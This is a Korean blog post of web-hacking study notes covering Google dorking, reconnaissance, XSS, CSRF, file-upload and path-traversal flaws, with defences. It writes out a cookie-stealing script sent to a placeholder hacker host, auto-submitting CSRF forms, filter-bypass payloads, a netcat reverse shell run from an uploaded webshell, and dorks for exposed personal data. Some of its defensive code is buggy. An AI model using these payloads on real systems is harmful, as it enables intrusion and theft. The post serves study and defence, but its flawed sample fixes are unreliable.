보안세상

보안 관련 본문

공부

보안 관련

똔민 2015. 1. 5. 19:59
반응형

정보수집

구글링(=구글해킹)

기본정보(ip, port) =-> nslookup, nmap

응용 프로그램 종류 및 버전

운영체제 종류 및 버전

웹 스캔

웹 구조 분석(수작업) =-> 실력 차이가 난다



구글 =-> 구글링 =-> 구글해킹

-서버 에러 메시지

-국가기밀 문서

-패스워드 및 사용자 정보 파일

-숨겨진 관리자 로그인 페이지

-백업 팡리 및 임시파일

-해킹당한 서버 및 취약한 서버

-사회공학적으로 이용될 수 있는 정보


cmd.asp

r57.php


inurl:admin.asp

=->url에 문자열이 포함된 페이지

intitle:index of

=->제목에 문자가 포함된 페이지

Filetype:bak

=->특정 확장자에 대한 검색

Site:test.co.kr

=->특정 사이트에 대한 검색


(" ") 완전한 문구 포함

=-> "password file" filetype:txt

(*) 모든 단어 검색

=-> sport[*]

(|) 또는 (OR)

=-> filetype:bak inurl:"asp|jsp|php|php3|"

(-) 검색 결과에서 제외

=-> filetype:hwp inurl:edu -intitle:seoul

(+) 성격이 비슷한 문자를 포함하여 검색

=-> filetype:xml +intext:"news" +intext:"video" +intext:"radio"


Mission

1.일반 사용자에게 노출된 관리자 로그인 페이지를 찾아라.

2.프로그래머 및 관리자는 파일 수정을 수시로 하기 때문에 웹 서버에 bak 파일을 많이 생성한다. 민감한 정보를 찾아보자.

3.자신이 모르는 곳에 이름, 핸드폰 번호와 같은 개인정보가 노출된 곳을 찾아보자.


intitle:관리자 inurl:admin site kr


whois : domain, IP address, autonomous와 같은 정볼르 제공해주는 인터넷 자원이다

whosip : 인터넷 접속 없이 IP정보 조회가 가능한 사용 가능한 콘솔 프로그램


NMAP : IP주소를 알고 있을 때 어떤 port가 열려 있는지 확인하기 위해서

-Nmap 에서 -O 옵션을 주면 운영체제도 확인할 수 있음


웹 구조 분석 할때

Httpwatch

-웹사이트 모니터링 툴이며 IE 및 firefox를 지원.

-각 페이지 처리시간과 Request, Header, cookie 정보 제공.

-개발자들이 개발 완료 후에 최종적으로 확인 용도로도 사용됨.

Record에서 볼 수 있음, 받은 것 0 바이트 인 것은 Cache인것 브라우저 속도 높이려고 미리

가져온 것


Cooxie

-인터넷 익스플로러(IE)의 쿠키 편집 및 프록시 설정 변경이 매우 편리한 툴


Paros

-프록시, 스캐닝, 취약점 점검


Acunetix

-대표적인 웹 사이트 점검 툴


Appscan

Acunetix와 더불어 대표적인 상용 스캐너

Absinthe SQL Injection 취약점을 점검할 수 있는 도구


Absinthe

-SQL Injection 취약점을 점검할 수 있는 도구


Tool은 경쟁자다, Tool보다 못하면 회사 못다닌다!!



수동분석

#관리자 페이지:http://www.naver.com/admin/

    =->회원가입 페이지에서 아이디 존재 확인할 수 있음

#게시판 : 검색 입력창, editor, 파일 업로드,UCC 업로드

#회원가입 : 우편번호, 암호찾기, 정보수정

#타 기관 연동 프로그램 : 결제 및 인증 시스템

    =->쇼핑몰 결제 다른 곳에서 하는 경우의 취약점

#사내 인트라넷

#디폴트 파일 및 디렉토리

#링크 끊긴 사용되지 않는 페이지 : 입사지원(웹쉘 업로드, 파일다운로드)

    =->결혼정보업체의 입사지원 하는 곳 시즌 지나면 주석처리 했는데 URL로 접근 가능했음


inurl:admin site jbnu.ac.kr

pdf파일 많음, 파일 다운로드 취약점 가능한지 알아보기



OWASP TOP 10

-국제 웹 보안 표준기구로 정기적으로 웹 해킹 위협의 동향을 발표

1.Injection

3.XSS

4.불안정한 직접 객체 참조(파일 다운로드)

8.CSRF

9번 새로 생김, 알려진 취약점을 사용한다(0-day)


SANS TOP 20

-보안 연구 및 교육으로 유명한 SANS에서 해마다 FBI에 제출하는 보안취약성 보고서


XSS(Cross Site Scripting)

-스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작외에 부정적으로 일어나는 액션

-다른 기법과 큰 차이점은 공격의 대상이 Server가 아닌 Client다


피해

-웜, 바이러스 배포

-세션 재사용 공격

-CSRF 공격

-피싱 공격


1.게시물에 스크립트 등록

2.사용자 및 관리자가 스크립트 게시물 열람

3.게시물을 열람한 사용자의 쿠키를 공격자 서버로 전송

4.전송된 쿠키를 이용하여 공격자는 로그인

5.해당 권한을 이용한 2,3차 피해


<script>alert("text");</script>


해커가 XSS공격을 함.

<script>window.open("http://[hacker]/cookie.php?data="+document.cookie,"small","width=150,height=220,scrollbars=no,menubar=no")</script>   


hacker의 서버로 cookie값을 전송받는 스크립트입니다.


파일 이름에 스크립트를 넣어서 쿠키값을 가져오는 것(얼마전 까지만해도 됐음)


Reflective XSS

-서버에 저장되지 않음

-공격자가 의도한 스크립트가 포함된 URL을 희생자에게 노출


사용자가 입력한 글을 다시 보여주는 그런 페이지들 중에 스크립트가 되면 이게 된다는데


<?

$str=$_GET['str]];

echo $str;

?>

받아들여서 다시 출력하는 것이 기본 get방식에 이렇게 집어넣어 주면 됨

<script>document.write("cookie");</script>


www.xssed.com =->XSS에 관한 것이 올라오는 사이트


Stored XSS

-게시물과 같은 DB에 저장되는 형태


XSS URL연결

1.Flash가 포함된 웹 애플리케이션에 접속

2.Flash 내부 Actionscript 함수 GetURL()이 동작.

3.네이버 웹 사이트 열림


예전에는 image안에 헥사값으로 넣어서 하는 경우도 있었음

=->이젠 거의 안됨


Flash는 가끔 되는 곳 있다고 함


Defence

1.HTML 지원 하지 않음

2.HTML을 화이트리스트 방식 허용


1. 팝업 차단 설정의 생활화


CSRF(Cross Site Request Forgery)

-공격자가 작성해 놓은 REQUEST를 통해 일어나는 악위적인 공격

-자신의 의도와는 다른 액션이 발생


XSS & CSRF - Difference

XSS : 악성 스크립트가 사용자 클라이언트에서 일어남

CSRF : 인증 완료된 자신의 권한으로 서버에 요청


CSRF

1.게시물에 스크립트 등록

2.사용자 및 관리자가 스크립트 게시물을 열람

3.게시물을 읽는 희생자의 권한으로 원하지 않는 요청 발생

4.공격자가 의도한 희생자의 패스워드가 변경

5.해당 계정을 2,3차 공격으로 활용


-이전 비밀번호 확인(안전한 프로세스)


CSRF [수정]부분 사용

<body onload="document.csrf.submit();">

<form name="csrf" action="board_update_reg.asp" method="POST">

<input type="hidden" name="user" value="관리자">

<input type="hidden" name="title" value="[공지] 산악회">

<input type="hidden" name="contents" value="회비 : 300만원<br>계좌 : 222-2222-2222 해커">

<input type="hidden" name="idx" value="5">

</form>


CSRF [삭제]부분 사용

<body onload="document.csrf.submit()">

<form name="csrf" action="board_delete.asp?num=5" method="POST">

</form>


Defence

1.HTML지원하지 않음

2.HTML을 화이트리스트 방식 허용


1.팝업 차단 설정의 생활화


위치

C:\Inetpub\wwwroot\board\ 

화이트리스트 방식

전체를 막고 허용하고 싶은 부분만 허용해준다.

contents = server.htmlencode<contents); //막고

contents = replace(contents, "lt;p&gt;", "<p>") //<p>만 실행하게 됨



<script>alert("XSS");</script>

안녕하세요<br>반갑습니다.


여러가지 Defence 방법


클라이언트에서 막으면 파로스로 request로 잡아서 paros에서 수정한다.

그러므로 서버에서 막아야 한다.


서버에서 막는데 script앞에 no를 붙이는 경우


서버에서 막을 때에도 중간 중간 대문자로 바꿔서 할 수도 있으므로

모두 소문자로 바꾸거나, 모두 대문자로 바꾼다음에 필터링 한다.

<scRipt>alert("XSS")</scrRipt>


태그를 확인하고 삭제하는 경우

<script>alert("XSS")</script>

에서 script만 삭제 하므로

<scrscriptipt>alert("XSS");</scrscriptipt>


웹해킹 완벽 보안 가이드(추천 받은 책)


파일 업로드

-자료실과 같은 사용자들의 업로드가 가능한 웹 애플리케이션

-서버 사이드 언어로 작성된 webshell 업로드를 통한 서버 권한 탈취

-업로드 되는 파일의 확장자 필터링이 되지 않을 시


#취약성 테스트

1. 파일 업로드 게시판 유무 확인

2. asp, aspx, jsp, php와 같은 확장자로 업로드

3. 클라이언트 검증인지, 서버 검증인지 필히 확인


#정상적으로 실행된 webshell - 시스템 명령어 사용


웹쉘을 올리고 cd \했는데 왜 이동하지 않냐면 

HTTP특성 때문에, TCP성격을 갖고 있지만 연결지향적인 성격을 버려서 root로 가지만 다시 dir치면

system32밑에서 불러옴


웹쉘과 nc를 올리고

웹쉘에서 dir C:\nc.exe /s /a 옵션을 줘서 nc를 찾는다

/s =-> 하위디렉토리 포함

/a =-> 전부다


찾은 후에


공격자 대기 : nc -l -p 8080

연결 대기중인지 확인해 보기 위해서 다른 cmd창을 열고

netstat -na |findstr "8080" 이라고 쳐보면 됨


피해 서버 접속 : nc -e cmd.exe [IP주소] 8080

c:\Inetpub\wwwroot\board\pds\nc -e cmd.exe 192.168.129.1 8080

=->이건 웹쉘에서 찾아주면 됨


웹쉘 업로드 하느라 백신 끄고, 연결 시켜주느라 방화벽 껐음


Defence

1.필수적으로 기능이 필요치 않을시 사용하지 않음.

2.업로드를 허용할 확장자만 선택

3.업로드 디렉터리 실행권한 삭제


파일 업로드 잘못된 방어법

.을 앞에서부터 검사해서 막는 경우

abc.asp는 막을 수 있는데

abc.jpg.asp이런 건 못막음

그래서 마지막 .을 기준으로 막아야함

.cer로 바꿔서 올림(인증서임)


응용프로그램 구성을 보면

.asp

.cer

.cdx

.asa

인 경우 asp.dll 을 가져오게됨


exploitdb같은 사이트에서 올라오자마자 사용하는 해커들이 있음


요즘에는 파일 이름을 base64와 같은 인코딩해서 올림

DB에서 가져올 때 복호화 해주면서 나오게됨


100%파일이 어딘가 존재, 아무리 뒤져도 나오지 않는 경우였음

파일을 그냥 저장하는게 아니라 DB에 저장하는 게 훨씬 쉬워서

파일을 업로드 하는 족족 DB에 저장됨, 서버에 파일이 없고, DB에 있었음


파일을 DB에 저장하면 파일 업로드에 완벽하게 방어할 수 있을것 같음

물론 용량이 커야함

파일 올라갈 일이 거의 없고, 입사지원서정도만 올라간다면


#대응 방안

ASP

Dim fileExt

fileExt = ".jpg, .bmp, .gif"  '허용할 업로드 파일 확장자 리스트


JSP

String strFilePath = request.getParameter("filename");

String temp = ",.doc,.xls,.gif,.bmp,.txt"; //허용할 업로드 파일 확장자 리스트

String tmpPath = strFilePath.toLowerCase();

tmpPath = "," + tmpPath.substring(tmpPath.lastIndexof(".")) + ",";


PHP

<?

$upload_file = $_FILE[$userfile]["name"];

$file_extension_array = explode(".", $upload_file);

$extension_count = count($file_extension_array);

$file_extension = $array[$extension_count - 1];

if($file_extension == "jpg" || $file_extension = "jpeg" || $file_extension == "gif")

{

    //파일 허용

}

else

{

    //파일 금지

}


FileDownload

-방문자에게 허용된 파일외의 다운로드

-웹 서버의 소스 및 기밀문서 다운로드

-FileDownload 기능의 웹 애플리케이션에서 파일명 필터링을 못할 경우


#취약성 테스트

1.특정 웹 애플리케이션에서 제공하는 파일다운로드 유무 확인

2.존재할 시에 웹 서버의 소스가 위치한 경로나 디폴트 주요파일에 접근하여 본다.


Defence

1.다운로드 경로 입력 받을 시에 서버에서 문자열 필터링을 함

t = InStr(strPath,"../")'문자 존재 유무

if t > 0 then

<script language = "javascript">alert("경로가 잘못되었습니다.")history.back();</script>

2.물리적으로 웹 소스가 존재하는 서버와 분리하여 격리함.


바로가기 복사 후

http://[HOST]/download.php?path=/1.jpg

/.1.jpg가 중요함 직접 파일을 보여주기 때문에

불안정한 직접 객체 참조


주소차에 있는 ../만 막으면 잘 됨

http://[HOST]/download.pHP?path=/1.jpg

이런거 대.소문자 구분하지 않으면 윈도우라는걸 알 수 있음

리눅스는 구분함

../../../../etc/password =-> 리눅스

../../../../boot.ini =-> 윈도우

서버의 php, asp, jsp 파일을 가져올 수 있음

..\..\download.php 다운로드 됨

../막는 법


if(strstr($filename,"../") || strstr($filename, "..\"))

{

echo("<script>alert("잘못된 이름입니다.");</script>");

echo("<script>history.back.</script>");

}



세션 관리 취약점

글을 쓸 때 궁극적으로 비밀번호를 집어넣는 이유는 

세션 관리 취약점도 막는것도 하지만

CSRF를 막기 위해서 이다.



inurl:view.asp

반응형

'공부' 카테고리의 다른 글

Syn flooding 공격과 syn cookie 방어로직  (0) 2015.01.09
IPTABLES 명령어  (0) 2015.01.09
TCP체크섬 계산방법  (0) 2015.01.09
3way hand shake  (0) 2014.04.19
리버싱  (0) 2014.01.21
Comments